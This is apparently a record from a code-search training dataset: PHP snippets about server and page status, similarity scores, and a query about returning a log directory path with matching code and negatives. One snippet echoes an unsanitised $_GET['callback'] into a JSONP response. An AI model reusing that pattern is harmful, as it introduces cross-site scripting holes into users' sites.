$this->NetworkOutage_model->getBySuburb($suburb, $status);\n $planned = array();\n $unexpected = array();\n while($no = $nos->next())\n {\n //echo json_encode($no);\n $expNO = $this->exportNetworkOutageBrief($no);\n if ($expNO['type'] === \"Planned\") {\n $planned[] = $expNO;\n } else {\n $expNO['type'] = \"Unplanned\";\n $unexpected[] = $expNO;\n }\n }\n\n $networkOutages = array();\n $networkOutages[\"Planned\"] = $planned;\n $networkOutages[\"Unexpected\"] = $unexpected;\n\n $jsonResp = json_encode($networkOutages);\n if (is_null($_GET['callback'])) {\n echo $jsonResp;\n } else {\n echo $_GET['callback']. '('. $jsonResp .');';\n }\n }", "function getStatus()\n {\n $url = API_URL . 'status';\n $xml = simplexml_load_file($url);\n return array(\n array(\n 'round' => $xml->round,\n 'state' => $xml->state,\n 'desc' => $xml->desc\n )\n );\n }", "public function getSiteStatus();", "public function index()\n {\n return TaskStatus::all();\n }", "public static function getStatuses()\n {\n $sql = 'SELECT * FROM location_status';\n $command = Yii::app()->db->createCommand($sql);\n return $command->queryAll(true);\n }", "public static function statuslist(array $attributes=array())\r\n {\r\n //Status options\r\n $statusOptions = array();\r\n $statusOptions[] = JHTML::_('select.option', '0', JText::_('JRESEARCH_STATUS'));\r\n $statusOptions[] = JHTML::_('select.option', 'not_started', JText::_('JRESEARCH_NOT_STARTED'));\r\n $statusOptions[] = JHTML::_('select.option', 'in_progress', JText::_('JRESEARCH_IN_PROGRESS'));\r\n $statusOptions[] = JHTML::_('select.option', 'finished', JText::_('JRESEARCH_FINISHED'));\r\n\r\n return self::htmllist($statusOptions, $attributes);\r\n }", "public function index()\n {\n return AccStatus::all();\n }", "public function status_get()\n\t{\n\t\t$data = $this->Pesan->getStatus();\n\n\t\tif ($data) {\n\t\t\t$this->response($data,200);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->response(\n\t\t\t\t['error'=>true,\n\t\t\t\t'message'=>'Data tidak ada'\n\t\t\t],200);\n\t\t}\n\t}", "public function serverStatus(Event $event)\n {\n $servers = [];\n foreach($event->servers AS $server) {\n $servers[] = [\n 'server' => $server,\n 'available' => $this->serverManagerService->isAvailable($server),\n ];\n }\n return $servers;\n }", "public function index(){\n\n\t\t//实例化Monitor Model,具体方法请看 MonitorModel.class.php\n\t\t$model = D('Monitor');\n\n\t\t//获取所有服务器列表信息;\n\t\t$result = $model->getAllServerInfo();\n for($i=0;$i<count($result);$i++)\n {\n if($result[$i][\"status\"] == \"offline\" )\n continue;\n $result[$i][\"last_hours\"]=sprintf(\"%.01f\", $result[$i][\"last_hours\"]/3600 );\n $host = $model->getHost($result[$i][\"host_id\"]);\n $result[$i][\"load_average\"] = $host[\"load_average\"];\n\n $fsList = $model->getFsList($result[$i][\"host_id\"]);\n for($j=0;$j<count($fsList);$j++)\n {\n $result[$i][\"total_size\"] = (int)$result[$i][\"total_size\"] + (int)$fsList[$j][\"total_size\"];\n $result[$i][\"used_size\"] = (int)$result[$i][\"used_size\"] + (int)$fsList[$j][\"used_size\"];\n }\n $result[$i][\"space_used_percent\"] = sprintf('%.0f',$result[$i][\"used_size\"] / $result[$i][\"total_size\"] * 100);\n $result[$i][\"h_total_size\"] = sprintf('%.0f',$result[$i][\"total_size\"]/1024);\n $result[$i][\"h_used_size\"] = sprintf('%.0f',$result[$i][\"used_size\"]/1024);\n\n }\n\t\t$this->assign(\"datalist\",$result);\n\t\t$this->display();\n\t}", "public function index()\n {\n return view('admin.servers.index');\n }", "function getStatusList() {\n $statusList = array();\n foreach (Constants::$statusNames as $id => $name) {\n $statusList[$id] = \"$id - $name\";\n }\n return $statusList;\n}", "public function getInfo()\n {\n return $this->getServer()->getInfo();\n }", "public function getPageStatus(){\n return $this->pageStatus;\n }", "public function getStatusHistories();", "public function status();", "public function status();", "public function getPageStatus()\n {\n return $this->pageStatus;\n }", "public function index()\n {\n return EvidentionStatus::with('status')->get();\n }", "public function index()\n\t{\n\t\treturn view(\"ManageTaskStatus::index\");\n\t}", "public function status() {\n\t\t$output = array(\n\t\t\tarray('CURRENT', ''),\n\t\t array('Queue', 'Size'),\n\t\t array('----', '---'),\n\t\t);\n\n\t\tforeach($this->queues as $queue) {\n\t\t $output[] = array( $queue, ResqueProxy::size( $queue ) );\n\t\t}\n\n\t\t$output[] = array( 'failed', ResqueProxy::redis()->llen('failed') );\n\n\n\t\t$output[] = array('----', '---');\n\t\t$output[] = array('TOTALS', '');\n\t\t$output[] = array( 'processed', ResqueProxy::redis()->get('resque:stat:processed') );\n\t\t$output[] = array( 'failed', ResqueProxy::redis()->get('resque:stat:failed') );\n\n\t\t$this->columns($output);\n\t}", "public function get_status()\n {\n }", "public function get_status()\n {\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('HegesAppManagementBundle:Server')->findAll();\n\n return $this->render('HegesAppManagementBundle:Server:index.html.twig', array(\n 'entities' => $entities\n ));\n }", "function getStatus() {\n\t\treturn $this->getData('status');\n\t}" ]
[ "0.69967014", "0.6762573", "0.67358404", "0.67139465", "0.6638641", "0.6636018", "0.6619285", "0.65864766", "0.6580739", "0.6566443", "0.6557896", "0.651211", "0.65062374", "0.64727914", "0.64126945", "0.63449055", "0.6335868", "0.6325586", "0.63220274", "0.631772", "0.6314987", "0.63063616", "0.6305257", "0.6291095", "0.62683326", "0.62580854", "0.6253379", "0.6223395", "0.6220947", "0.62026757", "0.62023795", "0.6192108", "0.61900944", "0.61673766", "0.61673766", "0.6158307", "0.61525816", "0.61516935", "0.6151618", "0.6138531", "0.6131413", "0.6131388", "0.61282665", "0.61157614", "0.6114759", "0.60970247", "0.60917103", "0.6091386", "0.6074685", "0.6070096", "0.60584104", "0.60558605", "0.60543334", "0.60499066", "0.60386986", "0.6037232", "0.6036948", "0.6036012", "0.60266924", "0.6018114", "0.6006547", "0.5981176", "0.5972526", "0.5971502", "0.5971149", "0.59539676", "0.5953388", "0.5948887", "0.594721", "0.59467566", "0.5943578", "0.59408176", "0.59385383", "0.5937442", "0.59356296", "0.5933145", "0.59317607", "0.59181404", "0.5917856", "0.5917367", "0.59155023", "0.59082687", "0.5901379", "0.5889038", "0.5871409", "0.5862437", "0.5855441", "0.5853349", "0.5849531", "0.5847049", "0.5840352", "0.5840352", "0.5836636", "0.5835147", "0.58321756", "0.5828218", "0.58230454", "0.58230454", "0.5805279", "0.57812464" ]
0.74566585
0
Returns the path to the configured access and error logs directory.
public static function getLogPath() { return MHTTPD::$config['Paths']['logs']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected static function getLogPathFolder(){\n return dirname(__FILE__).self::ERROR_LOGS_DIRECTORY;\n }", "public static function errorlogDirectory()\n\t{\n\t\treturn false;\n\t\treturn '../errorlogs';\n\t}", "public function getLogDir();", "public function getLogPath() {\r\n\t\treturn $this->getFramework()->getPath(Core::PATH_LOG);\r\n\t}", "public function getLogDir()\n {\n return $this->rootDir . '/../logs';\n }", "public function getLogDir(): string\n {\n return __DIR__ . '/../../../../../../var/logs';\n }", "public function getLogDir()\n {\n return dirname(__DIR__) . '/var/log';\n }", "public function getLogDir()\n {\n return __DIR__ . '/../var/log';\n }", "public function getLogPath() \n {\n return Light_Config::get('CTM_Config', 'log_dir') . '/' . $this->id;\n }", "public function getLogDir()\n {\n return __DIR__.'/../var/log';\n }", "public function getLogPath()\n {\n return $this->_logPath;\n }", "public function getLogPath() : string\n {\n return $this->logPath;\n }", "public function getLog()\n {\n return join_paths($this->getPath(), 'import.log');\n }", "public function getLogFilePath()\n {\n return $this->getSettingArray()[\"log_file_path\"];\n }", "public function functional_log_path() {\n\n\t\t// write to Docker's stderr\n\t\t$log_path = 'php://stderr';\n\n\t\treturn apply_filters( 'nginx_log_path', $log_path );\n\n\t}", "public function errDir(): string\n {\n return $this->root.'/var/err';\n }", "public function getLogFilePath(): string\n {\n return $this->logger->getLogFilePath();\n }", "public static function location()\r\n {\r\n $logDir = Mage::getBaseDir('var') . DIRECTORY_SEPARATOR . 'log';\r\n $logFile = $logDir . DIRECTORY_SEPARATOR . self::DEFAULT_FILE;\r\n\r\n return $logFile;\r\n }", "public static function getCurrentErrorLog()\n {\n return ROOT . '/data/logs/log-' . date('Y-m-d') . '.log';\n }", "public static function getFileLocation()\n {\n $config = Yaml::parseFile(__DIR__.'/../../config.yaml');\n return (isset($config[\"log\"][\"file\"])) ? __DIR__.\"/\".$config[\"log\"][\"file\"] : __DIR__.\"/app.log\";\n }", "public function getLogFilePath(){\n\n\t\treturn $this->_log_file_path; \n\t}", "function osdi_log_dir()\n {\n $log_dir = ABSPATH . '/wp-content/osdi';\n return $log_dir;\n }", "private function getLoggerFolder()\n {\n return $this->directoryList->getPath(DirectoryList::VAR_DIR) .\n DIRECTORY_SEPARATOR . 'log';\n }", "public function getDirectoryLog();", "private function getFilePath()\n {\n return \\Application::dirLogs() . '/console.log';\n }", "public function directorio_logs()\n\t{\n\t\tif (! isset($this->dir_logs)) {\n\t\t\t$id_instancia = toba_instancia::get_id();\n\t\t\t$this->dir_logs = toba_nucleo::toba_instalacion_dir().\"/i__$id_instancia/p__{$this->proyecto_actual}/logs\";\n\t\t}\n\t\treturn $this->dir_logs;\n\t}", "public static function getLogPath($sPath=''){\n return self::getWritablePath('log'.DIRECTORY_SEPARATOR.$sPath);\n }", "private static function getLogFile(): string\n {\n return \\sprintf(\n '%s/logs/log_report_%s.txt',\n \\dirname(__DIR__),\n \\date('d-m-Y')\n );\n }", "function get_current_log_dir()\n{\n $date = date('Ymd');\n $dir = di('config')->application->logDir;\n return $dir . $date . '/';\n}", "public static function getPath()\n {\n return rex_path::coreData('system.log');\n }", "public static function orderlogDirectory()\n\t{\n\t\treturn false;\n\t\treturn '../orderlogs';\n\t}", "public function getDebugLogPath()\n {\n if ($this->agentConfig) {\n return $this->agentConfig->getDebugLogPath();\n }\n\n return $this->debugLogPath;\n }", "public function logFilePath();", "protected function logPath($pid = 0)\n {\n if (empty($pid)) {\n return $this->getConfigPath('logs/wp-monitor.log', true);\n }\n\n return $this->getConfigPath('logs/pid/'.$pid.'.log', true);\n }", "public function getLogfile()\n {\n return self::LOG_FILE;\n }", "public function getLogDir() {\n return json_encode($this->setLogDir());\n }", "protected function getRedirectsDir(): string\n {\n return Craft::getAlias('@webroot') . '/../redirects/';\n }", "protected function log_file() \n {\n return $this->ini['log'];\n }", "public function getApiLogPath() {\n\t\treturn $this->apiLogPath;\n\t}", "protected function initFilePath() {\n \n $result = $this->profiler->getLogsPath();\n \n $result .= $this->key.'.log';\n \n if ( !file_exists( $result ) ) {\n touch( $result );\n }\n \n return $result;\n }", "public static function filePath(string $log) : string\n {\n return app_path('logs', \"{$log}.log\");\n }", "public function reportingDirectory(): string\n {\n return rtrim($this->config['reporting']['directory'], '/') . '/';\n }", "public function configDir(): string\n {\n return $this->root.'/etc';\n }", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "protected function getAppConfigDir()\n {\n return $this->rootDir . 'src/' . $this->appName . '/conf/';\n }", "private function getLoggerFile()\n {\n return $this->getLoggerFolder() . DIRECTORY_SEPARATOR . self::FILE_NAME;\n }", "protected function logfile() {\n\t\treturn sprintf(\n\t\t\t'%s.createenv.%s.log',\n\t\t\t$this->Project()->Name,\n\t\t\t$this->ID\n\t\t);\n\t}", "private static function checkPaths() {\n\t\tif(!is_dir (self::$logpath)) mkdir(self::$logpath, 0777);\n\t\tif(!is_file(self::$logfile)) file_put_contents(self::$logfile, \"<?\\n/**\\n#\\n# Tools Tool Log file\\n#\\n*/\\n\\n\");\n\t}", "public function get_log_location($absolute = true)\n\t{\n\t\tif($absolute)\n\t\t\treturn realpath($this->config->log_location);\n\t\telse\n\t\t\treturn $this->config->log_location;\n\t}", "public static function getConfigDir()\r\n\t{\r\n\t\treturn dirname(__FILE__) . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'conf' . DIRECTORY_SEPARATOR;\r\n\t}", "public static function log_directory($dir = null)\n {\n static $directory;\n\n if (! empty($dir)) {\n // Get the directory path\n $dir = realpath($dir);\n\n if (is_dir($dir) and is_writable($dir)) {\n // Change the log directory\n $directory = str_replace('\\\\', '/', $dir).'/';\n } else {\n // Log directory is invalid\n throw new Kohana_Exception('core.log_dir_unwritable', $dir);\n }\n }\n\n return $directory;\n }", "public function getFilesDirectoryPath();", "public function configPath(): string\n {\n return realpath(__DIR__ . '/../config/amfl.php');\n }", "function config_path()\n {\n return base_path() . '/config';\n }", "public function getBaseConfigDir()\n {\n return $this->paths->getBaseConfigDir();\n }", "public function getStdErrFilePath() {\n if (!$this->filepath) {\n $this->filepath = tempnam(Config::get('tmp_dir'), 'stderr_');\n }\n return $this->filepath;\n }", "public function getHttpLogPath() {\n\t\treturn $this->httpLogPath;\n\t}", "public function getDebugLog()\n {\n // Try to create the log-directory if it does not exist\n $log_dir = Mage::getBaseDir().DS.'var'.DS.'log';\n if(!is_dir($log_dir) && !is_writable($log_dir)) {\n @mkdir(Mage::getBaseDir().DS.'var');\n @mkdir($log_dir);\n }\n\n $log_file = $log_dir.DS.'vm2mage.log';\n if(!file_exists($log_file)) {\n @touch($log_file);\n }\n \n return $log_file;\n }", "public function getLogFile() {}", "function getRawLogPath()\n {\n return $this->_props['RawLogPath'];\n }", "private function getDir() {\n return sprintf(\"%s/%s/\", app_path(), config('newportal.portlets.namespace'));\n }", "public function getCacheDirectoryPath()\n {\n return $this->cacheDirectoryPath;\n }", "public function config_path();", "public function getLogFile(): string\n\t{\n\t\treturn $this->logFile;\n\t}", "public function getSystemDirectoryPath() {\n return Mage::getBaseDir('var') . '/smartling/localization_files';\n }", "function getLogFilename()\n {\n return $this->_props['LogFilename'];\n }", "public function sessionDirectoryPath();", "public static function getFilesFolderPath() {\n return self::isProductionEnv() ? \"/var/www/html/\".self::$DESIGNS_RELATIVE_PATH : \"../../\".self::$DESIGNS_RELATIVE_PATH;\n }", "public function getJournalDir(): string\n {\n return $_ENV['DB_JOURNAL_DIR'] ?? self::DEFAULT_FILE_DIR;\n }", "public static function getConfigDir()\n {\n return self::getDir('getConfigHome');\n }", "public static function get_directory() : string {\r\n\t\treturn Core::get_app_path( self::$directory );\r\n\t}", "public static function get_log_index() {\n\t\t$server = WD_Utils::determine_server( content_url( 'index.php' ) );\n\t\tif ( $server == 'apache' ) {\n\t\t\t$is_apache = true;\n\t\t} else {\n\t\t\t$is_apache = false;\n\t\t}\n\n\t\t$result = array();\n\t\tif ( $is_apache ) {\n\t\t\t$upload_dirs = wp_upload_dir();\n\t\t\t$log_dir = $upload_dirs['basedir'] . DIRECTORY_SEPARATOR . 'wp-defender/';\n\t\t\t$result = WD_Utils::get_dir_tree( $log_dir, true, false, array(), array(\n\t\t\t\t'ext' => array( 'log' )\n\t\t\t) );\n\t\t} else {\n\t\t\tglobal $wpdb;\n\t\t\t$table = is_multisite() ? $wpdb->sitemeta : $wpdb->options;\n\t\t\t$key = is_multisite() ? 'meta_key' : 'option_name';\n\t\t\t$sql = \"SELECT $key FROM $table WHERE $key LIKE %s\";\n\t\t\t$result = $wpdb->get_col( $wpdb->prepare( $sql, 'wd_log%' ) );\n\t\t}\n\n\t\treturn $result;\n\t}", "public function getAuditPath()\n {\n return $this->auditPath;\n }", "protected function get_config_path()\n\t{\n\t\treturn $this->config_path ?: $this->phpbb_root_path . 'config';\n\t}", "public function calculateLogPath($logName)\n {\n // A single filename (\"/foo/bar/baz.log\") or stream (\"php://stdout\") may be specified.\n if (!empty(getenv('LOG_FULLPATH')))\n {\n return getenv('LOG_FULLPATH');\n }\n\n // Use a different log folder if requested.\n if (empty(getenv('LOG_DIR')))\n {\n $logRoot = self::DEFAULT_LOG_DIR;\n }\n else\n {\n $logRoot = realpath(getenv('LOG_DIR'));\n if ($logRoot === false)\n {\n throw new \\InvalidArgumentException(\"Invalid value for LOG_DIR: \" . getenv('LOG_DIR'));\n }\n }\n\n $prefix = getenv('LOG_PREFIX');\n if (isset($prefix)) {\n $logName = $prefix . $logName;\n }\n\n return \"$logRoot/$logName.log\";\n }", "static function LogPath( $log )\n\t{\n\t\t$log = str_replace( \"\\\\\", \"/\", $log );\n\t\tif ($log[0] == \"/\" || $log[1] == \":\") {\n\t\t\treturn $log;\n\t\t}\n\t\treturn self::LOGROOT . \"/$log\";\n\t}", "function config_path()\n {\n $paths = getPaths();\n\n return $paths['config'];\n }", "private function getDrupalFilesDir(): string\n {\n if (isset($this->drupalFilesDir)) {\n return $this->drupalFilesDir;\n }\n\n Drush::bootstrapManager()->doBootstrap(DrupalBootLevels::FULL);\n $drupalFilesPath = Drupal::service('file_system')->realpath('public://');\n if (!$drupalFilesPath) {\n throw new Exception(dt('Path to Drupal files is empty.'));\n }\n\n return $this->drupalFilesDir = $drupalFilesPath;\n }", "protected function getConfigDir(): string\n {\n return $this->getProjectDir() . DIRECTORY_SEPARATOR . 'config';\n }", "protected function getLogFile()\n {\n return $this->logFile;\n }", "protected function getConfigPath()\n {\n return config_path('feed.php');\n }", "public function getDirectory()\n {\n return mfConfig::get('mf_sites_dir').\"/\".$this->getSiteName().\"/\".$this->getApplication().\"/view/pictures/\".$this->get('lang');\n }", "public function getConfigDir() : string\n {\n return $this->configDir;\n }", "public function getRootDir()\n {\n return __DIR__;\n }", "private static function get_log_file( string $file ) : string {\r\n\t\treturn Core::get_app_path( self::$directory, $file );\r\n\t}", "protected function getConfigFilePath()\n {\n return dirname(__DIR__, 2) . '/config.php';\n }", "function getConfigDir()\n\t{\n\t\treturn\t$this->configDir;\n\t}", "protected function getRootPath()\n {\n return base_path() . '/CertificateBuilder/events';\n }", "public function getPath()\n {\n return __DIR__ . '/settings';\n }", "protected function getConfigPath()\n {\n return config_path('view-launcher.php');\n }", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "protected function getConfigPath()\n {\n return config_path('xhprof.php');\n }", "public function getPath(): string\n {\n $root = null;\n $currentDirectory = __DIR__;\n\n do {\n $currentDirectory = dirname($currentDirectory);\n $config = $currentDirectory . '/.refresh-database.yml';\n\n if (file_exists($config)) {\n $root = $currentDirectory;\n }\n } while (is_null($root) && $currentDirectory != '/');\n\n return $config;\n }", "public function getRootDir();", "protected static function path()\n {\n return config('app.home_path').'/.eco/config.json';\n }", "protected function getAppPath()\n {\n return config()->path->app;\n }", "public function getKnackLogFile();", "protected function getCurrentConfigFilePath()\n {\n return config_path($this->configFileName) . '.php';\n }", "public function dirPath()\n {\n return config('maxolex.config.views').'/'.$this->parser->singular();\n }", "protected static function get_config_file_path() {\n global $CFG;\n // We always use this path.\n $configpath = $CFG->dataroot.'/muc/config.php';\n\n if (!empty($CFG->altcacheconfigpath)) {\n\n // No need to check we are within a test here, this is the cache config class that gets used\n // only when one of those is true.\n if (!defined('TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH') || !TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH) {\n // TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH has not being defined or is false, we want to use the default.\n return $configpath;\n }\n\n $path = $CFG->altcacheconfigpath;\n if (is_dir($path) && is_writable($path)) {\n // Its a writable directory, thats fine. Convert it to a file.\n $path = $CFG->altcacheconfigpath.'/cacheconfig.php';\n }\n if (is_readable($path)) {\n $directory = dirname($configpath);\n if ($directory !== $CFG->dataroot && !file_exists($directory)) {\n $result = make_writable_directory($directory, false);\n if (!$result) {\n throw new cache_exception('ex_configcannotsave', 'cache', '', null, 'Cannot create config directory. Check the permissions on your moodledata directory.');\n }\n }\n // We don't care that this fails but we should let the developer know.\n if (!is_readable($configpath) && !@copy($path, $configpath)) {\n debugging('Failed to copy alt cache config file to required location');\n }\n }\n }\n\n // We always use the dataroot location.\n return $configpath;\n }" ]
[ "0.8142427", "0.7879407", "0.76910794", "0.7677407", "0.7656658", "0.7656572", "0.7411818", "0.740294", "0.7401859", "0.7195321", "0.7129751", "0.7070933", "0.70112145", "0.698613", "0.6974255", "0.69395703", "0.6938829", "0.6855665", "0.6851775", "0.6812543", "0.67810524", "0.6752704", "0.67491007", "0.6711039", "0.6684692", "0.66472197", "0.6547779", "0.6525158", "0.64711624", "0.6442914", "0.63740504", "0.63191515", "0.6309037", "0.6272516", "0.6209238", "0.62084454", "0.61710703", "0.61617213", "0.60778075", "0.60699487", "0.60620403", "0.6058502", "0.6055428", "0.60387415", "0.60283244", "0.597", "0.5918293", "0.5906532", "0.58967465", "0.5896523", "0.58922285", "0.5886843", "0.58809906", "0.58555084", "0.5850404", "0.5846761", "0.58282685", "0.57480454", "0.57472813", "0.5739825", "0.57364476", "0.5725398", "0.57164353", "0.57163745", "0.5712461", "0.5697637", "0.5691484", "0.56835455", "0.5671145", "0.5668082", "0.565028", "0.56430954", "0.5630111", "0.56267864", "0.5618493", "0.5614637", "0.56116664", "0.5560336", "0.55563104", "0.555102", "0.5550278", "0.55372655", "0.5534525", "0.5524952", "0.55215824", "0.5506411", "0.54962724", "0.54815346", "0.54661083", "0.54601216", "0.54586554", "0.5453828", "0.5443356", "0.54321325", "0.5428887", "0.5425078", "0.54216474", "0.54162294", "0.54139024", "0.54114294" ]
0.8133025
1
Determines whether the Server Status page should be displayed or not.
public static function allowServerStatus() { return MHTTPD::$config['Admin']['allow_server_status']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "static function BeforePageDisplay( &$out ){\n\t\tglobal $wgRequest, $wgUser;\n\t\tglobal $wgUseAjax;\n\n\t\tif( $wgUser->isLoggedIn() && $wgUseAjax ){\n\t\t\t$out->addModules( 'ext.onlineStatus' );\n\t\t}\n\n\t\tif( !in_array( $wgRequest->getVal( 'action', 'view' ), array( 'view', 'purge' ) ) )\n\t\t\treturn true;\n\t\t$status = self::GetUserStatus( $out->getTitle(), true );\n\t\tif( $status === null )\n\t\t\treturn true;\n\t\t$out->setSubtitle( wfMsgExt( 'onlinestatus-subtitle-' . $status, array( 'parse' ) ) );\n\n\t\treturn true;\n\t}", "static public function getServerStatus() {\n\t\treturn (int)self::$serverstatus;\n\t}", "public function isServerError() {\n return (5 === $this->getStatusClass());\n }", "function _showStatus() {\r\n $okMessage = implode('<br />', $this->_okMessage);\r\n $errMessage = implode('<br />', $this->_errMessage);\r\n\r\n if (!empty($errMessage)) {\r\n $this->_objTpl->setVariable('FILEBROWSER_ERROR_MESSAGE', $errMessage);\r\n } else {\r\n $this->_objTpl->hideBlock('errormsg');\r\n }\r\n\r\n if (!empty($okMessage)) {\r\n $this->_objTpl->setVariable('FILEBROWSER_OK_MESSAGE', $okMessage);\r\n } else {\r\n $this->_objTpl->hideBlock('okmsg');\r\n }\r\n }", "public static function allowServerInfo()\n\t{\n\t\treturn MHTTPD::$config['Admin']['allow_server_info'];\n\t}", "public function isForServer()\n {\n return $this->server !== null;\n }", "public function getServerStatus()\n {\n global $app_strings, $sugar_config;\n $isValid = false;\n $displayText = \"\";\n try {\n $response = $this->_client->request('', \\Elastica\\Request::GET);\n if ($response->isOk()) {\n $isValid = true;\n if (!empty($GLOBALS['app_strings'])) {\n $displayText = $app_strings['LBL_EMAIL_SUCCESS'];\n } else {\n //Fix a notice error during install when we verify the Elastic Search settings\n $displayText = 'Success';\n }\n } else {\n $displayText = $app_strings['ERR_ELASTIC_TEST_FAILED'];\n }\n } catch (Exception $e) {\n $this->reportException(\"Unable to get server status\", $e);\n $displayText = $e->getMessage();\n }\n return array('valid' => $isValid, 'status' => $displayText);\n }", "public static function isServerSide() {\n\t\treturn (bool) apply_filters( 'cmtt_is_serverside_pagination', get_option( 'cmtt_glossaryServerSidePagination' ) == 1 );\n\t}", "public function getStatus() {\n\t\tif(!$this->server) {\n\t\t\treturn false;\n\t\t}\n\t\tif(!$this->status_new) {\n\t\t\t$this->update();\n\t\t}\n\t\treturn $this->status_new;\n\t}", "public function isStatus()\n {\n return $this->getStatus();\n }", "public function IsInMaintenanceMode(){\n\n\t\t// Obtain maintenance_mode index from config file\n $config_maintenance = $this->instance->config->item(\"maintenance_mode\");\n\n // validate if it's true\n if( $config_maintenance ){\n\n \t// load view and terminate output\n echo $this->instance->load->view('system/maintenance_mode', false, true);\n die();\n }\n }", "public function getSiteStatus()\n {\n return 'OK';\n }", "public function statusAction() {\n $status = $this->_getParam('status');\n $infoId = $this->_getParam('id');\n if (empty($status)) {\n $this->view->title = $this->view->translate(\"Disable Page?\");\n $this->view->discription = $this->view->translate(\"Are you sure that you want to disable this page? After being disabled this will not be shown to users.\");\n $this->view->bouttonLink = $this->view->translate(\"Disable\");\n } else {\n $this->view->title = $this->view->translate(\"Enable Page?\");\n $this->view->discription = $this->view->translate(\"Are you sure that you want to enable this page? After being enabled this will be shown to users.\");\n $this->view->bouttonLink = $this->view->translate(\"Enable\");\n }\n // Check post\n if ($this->getRequest()->isPost()) {\n $pagesettingsTable = Engine_Api::_()->getDbTable('startuppages', 'sitestoreproduct');\n $pagesettingsTable->update(array('status' => $status), array('startuppages_id =?' => $infoId));\n\n $this->_forward('success', 'utility', 'core', array(\n 'smoothboxClose' => 10,\n 'parentRefresh' => 10,\n 'messages' => array('Successfully done.')\n ));\n }\n }", "function checkPanelMode()\n\t{\n\t\tswitch ($this->display_mode)\n\t\t{\n\t\t\tcase \"view\":\n\t\t\t\t$this->displayStatusPanel();\n\t\t\t\tbreak;\n\n\t\t\tcase \"setup\":\n\t\t\t\t$this->displayProcessPanel();\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function getStatus(){\r\n if($this->scopeConfigInterface->getValue(self::XML_PATH_ENABLED,ScopeInterface::SCOPE_WEBSITE) ==1){\r\n return true;\r\n }\r\n return false;\r\n }", "public function getPageStatus()\n {\n return $this->pageStatus;\n }", "public function hasServerType()\n {\n return $this->server_type !== null;\n }", "public function getStatus() {\r\n if ($this->status === \"error\") {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n }", "public static function isServerMode(): bool\n {\n /** @phpstan-ignore-next-line */\n return (defined('SPLASH_SERVER_MODE') && !empty(SPLASH_SERVER_MODE));\n }", "public function GetServerStatus()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->stat();\r\n }", "public function getStatus() \n {\n if ($this->status) \n {\n \techo 'user status : присутствует<br><br><br>';\n }\n else\n {\n \techo 'user status : отсутствует<br><br><br>';\t\n }\n }", "public function statusAction()\n {\n // enforce permissions.\n $this->acl->check('content', 'manage');\n\n // set context\n $this->contextSwitch->initContext('json');\n\n $processId = $this->getRequest()->getParam('processId');\n $statusFile = sys_get_temp_dir() . '/' . static::STATUS_FILE . $processId;\n\n if (!file_exists($statusFile) ) {\n $status = array(\n 'label' => 'no status',\n 'message' => 'No current status file.',\n 'done' => true\n );\n $this->view->status = $status;\n return;\n }\n\n $this->view->status = $this->_readStatusFile($processId);\n }", "public function isInformation() {\n return (1 === $this->getStatusClass());\n }", "static private function ServerState() {\n $status = exec('illarionctl status');\n if (strpos($status, 'ONLINE') === FALSE) {\n\t\t\tself::$serverstatus = 1;\n\t\t} else {\n\t\t\tself::$serverstatus = 0;\n\t\t}\n\n $status = exec('testctl status');\n\t\tif (strpos($status, 'ONLINE') === FALSE) {\n\t\t\tself::$testserverstatus = 1;\n\t\t} else {\n\t\t\tself::$testserverstatus = 0;\n\t\t}\n\n\t\tself::$debugger = 0;\n\t}", "public function show(Server $server)\n {\n $this->authorize('server-control', $server);\n\n return ($server->installed === $server::INSTALLED && $server->enabled && !$server->blocked) ?\n view('servers.view', compact('server'))\n : view('servers.not_active', compact('server'));\n }", "public function get_status() {\n\t\t//Returns true or false. Values are set in their object ($switches, $thermometers, etc)\n\t\treturn $this->_get_status();\n\t}", "public function getSiteStatus();", "public static function getServerStatusInfo()\n\t{\n\t\treturn array(\n\t\t\tMHTTPD::getSoftwareInfo(),\n\t\t\tdate('r', MHTTPD::$info['launched']),\n\t\t\tMHTTPD::getStatCount('up', true),\n\t\t\tMHTTPD::getStatCount('down', true),\n\t\t\tMHTTPD::getClientsSummary(),\n\t\t\tMFCGI::getScoreboard(true),\n\t\t\tMHTTPD::getAbortedSummary(),\n\t\t\tMHTTPD::getHandlers(true),\n\t\t\tMHTTPD::getSignature(),\n\t\t);\n\t}", "public function hasStatus(){\n return $this->_has(10);\n }", "public function should_display_sandwitch_menu() {\n if ($this->page->pagelayout == 'frontpage' || !isloggedin() || isguestuser()) {\n return false;\n }\n return true;\n }", "public function canShow(){\n\t\tif (Mage::getStoreConfig('logicbroker_edi_section/logicbroker_edi_group1/notificationstatus') == 0) {\n\t\t\t$this->setConfigValue(array(\n\t\t\t\t'scope' => 'default',\n\t\t\t\t'scope_id' => '0',\n\t\t\t\t'path' => 'logicbroker_edi_section/logicbroker_edi_group1/notificationstatus',\n\t\t\t\t'value' => '1',\n\t\t\n\t\t\t\t));\n\t\t\treturn true;\n }else{\n \treturn false;\n }\n\t}", "public function getPageStatus(){\n return $this->pageStatus;\n }", "public function hasServerHibernation()\n {\n return $this->server_hibernation !== null;\n }", "function TS_VCSC_DetermineLoadingStatus() {\r\n\t\t\t// Retrieve Current Browser URL\r\n\t\t\t$TS_VCSC_Extension_Browser\t\t\t\t\t\t\t= 'http://';\r\n\t\t\tif (isset($_SERVER['SERVER_NAME'])) {\r\n\t\t\t\t$TS_VCSC_Extension_Browser\t\t\t\t\t\t.= $_SERVER['SERVER_NAME'];\r\n\t\t\t} else if (isset($_SERVER['HTTP_HOST'])) {\r\n\t\t\t\t$TS_VCSC_Extension_Browser\t\t\t\t\t\t.= $_SERVER['HTTP_HOST'];\r\n\t\t\t}\t\t\t\r\n\t\t\tif (isset($_SERVER['REQUEST_URI'])) {\r\n\t\t\t\t$TS_VCSC_Extension_Browser \t\t\t\t\t\t.= 